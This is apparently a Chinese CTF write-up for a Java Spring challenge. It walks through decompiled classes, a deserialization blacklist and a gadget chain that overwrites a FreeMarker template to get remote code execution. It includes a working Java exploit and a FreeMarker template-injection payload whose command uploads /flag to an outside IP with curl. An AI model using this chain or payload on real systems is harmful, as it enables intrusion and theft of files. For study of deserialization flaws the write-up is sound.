题目
Controller
看下路由
//
// Source code recreated from a .class file by IntelliJ IDEA
// (powered by FernFlower decompiler)
//
package com.ycbjava.Contorller;
import com.ycbjava.Utils.NewObjectInputStream;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.util.Base64;
import org.springframework.stereotype.Controller;
import org.springframework.ui.Model;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RequestParam;
import org.springframework.web.bind.annotation.ResponseBody;
@Controller
public class IndexController {
public IndexController() {
}
@RequestMapping({"/"})
@ResponseBody
public String index() {
return "Welcome to YCB";
}
@RequestMapping({"/templating"})
public String templating(@RequestParam String name, Model model) {
model.addAttribute("name", name);
return "index";
}
@RequestMapping({"/getflag"})
@ResponseBody
public String getflag(@RequestParam String data) throws IOException, ClassNotFoundException {
byte[] decode = Base64.getDecoder().decode(data);
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
byteArrayOutputStream.write(decode);
NewObjectInputStream objectInputStream = new NewObjectInputStream(new ByteArrayInputStream(byteArrayOutputStream.toByteArray()));
objectInputStream.readObject();
return "Success";
}
}
/templating
路由会将传入的参数name
存入模型中,然后返回index模板文件
/getflag
路由对传入的data
参数进行base64解码,然后进行反序列化。
Utils
HtmlMap.java
//
// Source code recreated from a .class file by IntelliJ IDEA
// (powered by FernFlower decompiler)
//
package com.ycbjava.Utils;
import java.io.Serializable;
import java.util.Collection;
import java.util.Map;
import java.util.Set;
public class HtmlMap implements Map, Serializable {
public String filename;
public String content;
public HtmlMap() {
}
public int size() {
return 0;
}
public boolean isEmpty() {
return false;
}
public boolean containsKey(Object key) {
return false;
}
public boolean containsValue(Object value) {
return false;
}
public Object get(Object key) {
try {
Object obj = HtmlUploadUtil.uploadfile(this.filename, this.content);
return obj;
} catch (Exception var4) {
Exception e = var4;
throw new RuntimeException(e);
}
}
public Object put(Object key, Object value) {
return null;
}
public Object remove(Object key) {
return null;
}
public void putAll(Map m) {
}
public void clear() {
}
public Set keySet() {
return null;
}
public Collection values() {
return null;
}
public Set<Map.Entry> entrySet() {
return null;
}
}
明显关注get方法
public Object get(Object key) {
try {
Object obj = HtmlUploadUtil.uploadfile(this.filename, this.content);
return obj;
} catch (Exception var4) {
Exception e = var4;
throw new RuntimeException(e);
}
}
get方法调用了HtmlUploadUtil的uploadfile方法
HtmlUploadUtil.java
//
// Source code recreated from a .class file by IntelliJ IDEA
// (powered by FernFlower decompiler)
//
package com.ycbjava.Utils;
import java.io.BufferedWriter;
import java.io.FileWriter;
import java.io.IOException;
public class HtmlUploadUtil {
public HtmlUploadUtil() {
}
public static boolean uploadfile(String filename, String content) {
if (filename != null && !filename.endsWith(".ftl")) {
return false;
} else {
String realPath = "/app/templates/" + filename;
if (!realPath.contains("../") && !realPath.contains("..\\")) {
try {
BufferedWriter writer = new BufferedWriter(new FileWriter(realPath));
writer.write(content);
writer.close();
return true;
} catch (IOException var4) {
IOException e = var4;
System.err.println("Error uploading file: " + e.getMessage());
return false;
}
} else {
return false;
}
}
}
}
它的upload方法,要求上传文件以.ftl
结尾,并且防止了路径穿越,然后传入到/app/templates
路径
HtmlInvocationHadnler.java
//
// Source code recreated from a .class file by IntelliJ IDEA
// (powered by FernFlower decompiler)
//
package com.ycbjava.Utils;
import java.io.Serializable;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Method;
import java.util.Map;
public class HtmlInvocationHandler implements InvocationHandler, Serializable {
public Map obj;
public HtmlInvocationHandler() {
}
public HtmlInvocationHandler(Map obj) {
this.obj = obj;
}
public Object invoke(Object proxy, Method method, Object[] args) throws Throwable {
Object result = this.obj.get(method.getName());
return result;
}
}
HtmlInvocationHadnler继承了nvocationHandler接口,而且存在invoke方法,所以通过动态代理可以触发invoke方法
invoke方法里面调用了 get方法,那就可以想到利用invoke来触发HtmlMap#get,然后触发HtmlUploadUtil#upload进行ftl文件上传。
而路由/templating
可以触发模板渲染,那么如果可以进行模板注入,就可以进行RCE
FTL是什么?
FTL即FreeMarker Template Language,FreeMarker 是一款 模板引擎: 即一种基于模板和要改变的数据, 并用来生成输出文本(HTML网页,电子邮件,配置文件,源代码等)的通用工具。 它不是面向最终用户的,而是一个Java类库,是一款程序员可以嵌入他们所开发产品的组件。
freemarker模版注入 - Escape-w - 博客园 (cnblogs.com)
拿一个网上的payload做一下
<#assign ac=springMacroRequestContext.webApplicationContext>
<#assign fc=ac.getBean('freeMarkerConfiguration')>
<#assign dcr=fc.getDefaultConfiguration().getNewBuiltinClassResolver()>
<#assign VOID=fc.setNewBuiltinClassResolver(dcr)>${"freemarker.template.utility.Execute"?new()("id")}
注意覆盖掉index.ftl,这样templating的时候可以执行恶意的ftl
那么走哪个反序列进去触发invoke呢,看下黑名单
//
// Source code recreated from a .class file by IntelliJ IDEA
// (powered by FernFlower decompiler)
//
package com.ycbjava.Utils;
import java.io.IOException;
import java.io.InputStream;
import java.io.ObjectInputStream;
import java.io.ObjectStreamClass;
import java.util.HashSet;
import java.util.Set;
public class NewObjectInputStream extends ObjectInputStream {
private static final Set<String> BLACKLISTED_CLASSES = new HashSet();
public NewObjectInputStream(InputStream inputStream) throws IOException {
super(inputStream);
}
protected Class<?> resolveClass(ObjectStreamClass desc) throws IOException, ClassNotFoundException {
if (BLACKLISTED_CLASSES.contains(desc.getName())) {
throw new SecurityException("Class not allowed: " + desc.getName());
} else {
return super.resolveClass(desc);
}
}
static {
BLACKLISTED_CLASSES.add("java.lang.Runtime");
BLACKLISTED_CLASSES.add("java.lang.ProcessBuilder");
BLACKLISTED_CLASSES.add("com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl");
BLACKLISTED_CLASSES.add("java.security.SignedObject");
BLACKLISTED_CLASSES.add("com.sun.jndi.ldap.LdapAttribute");
}
}
选择多样,随便选个入口都行,就用cc1的AnnotationInvocationHandler吧
利用链
AnnotationInvocationHandler#readObject->
HtmlInvocationHadnler#invoker->
HtmlMap#get->
HtmlUploadUtil#upload
exp
import com.ycbjava.Utils.HtmlInvocationHandler;
import com.ycbjava.Utils.HtmlMap;
import javax.management.BadAttributeValueExpException;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.io.ObjectOutputStream;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Proxy;
import java.util.Base64;
import java.util.Map;
/**
* @ClassName exp
* @Description
* @Author ta0
* @Date 2024年10月09日 17:58
* @Version 1.0
*/
public class exp {
public static void main(String[] args) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, InstantiationException, IllegalAccessException, IOException {
HtmlMap hm = new HtmlMap();
hm.filename="index.ftl";
hm.content = "<#assign ac=springMacroRequestContext.webApplicationContext>\n"+"<#assign fc=ac.getBean('freeMarkerConfiguration')>\n"+"<#assign dcr=fc.getDefaultConfiguration().getNewBuiltinClassResolver()>\n"+"<#assign VOID=fc.setNewBuiltinClassResolver(dcr)>${\"freemarker.template.utility.Execute\"?new()(\"curl -T /flag 101.43.121.110:4567\")}";
HtmlInvocationHandler h = new HtmlInvocationHandler(hm);
Map proxy=(Map) Proxy.newProxyInstance(exp.class.getClassLoader(),new Class<?>[]{Map.class},h);
Class AnnotationInvocationHandler = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor constructor = AnnotationInvocationHandler.getDeclaredConstructor(Class.class, Map.class);
constructor.setAccessible(true);
Object obj=constructor.newInstance(Target.class,proxy);
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
objectOutputStream.writeObject(obj);
System.out.println(Base64.getEncoder().encodeToString(byteArrayOutputStream.toByteArray()));
}
}
本地测试修改指令也能拿到权限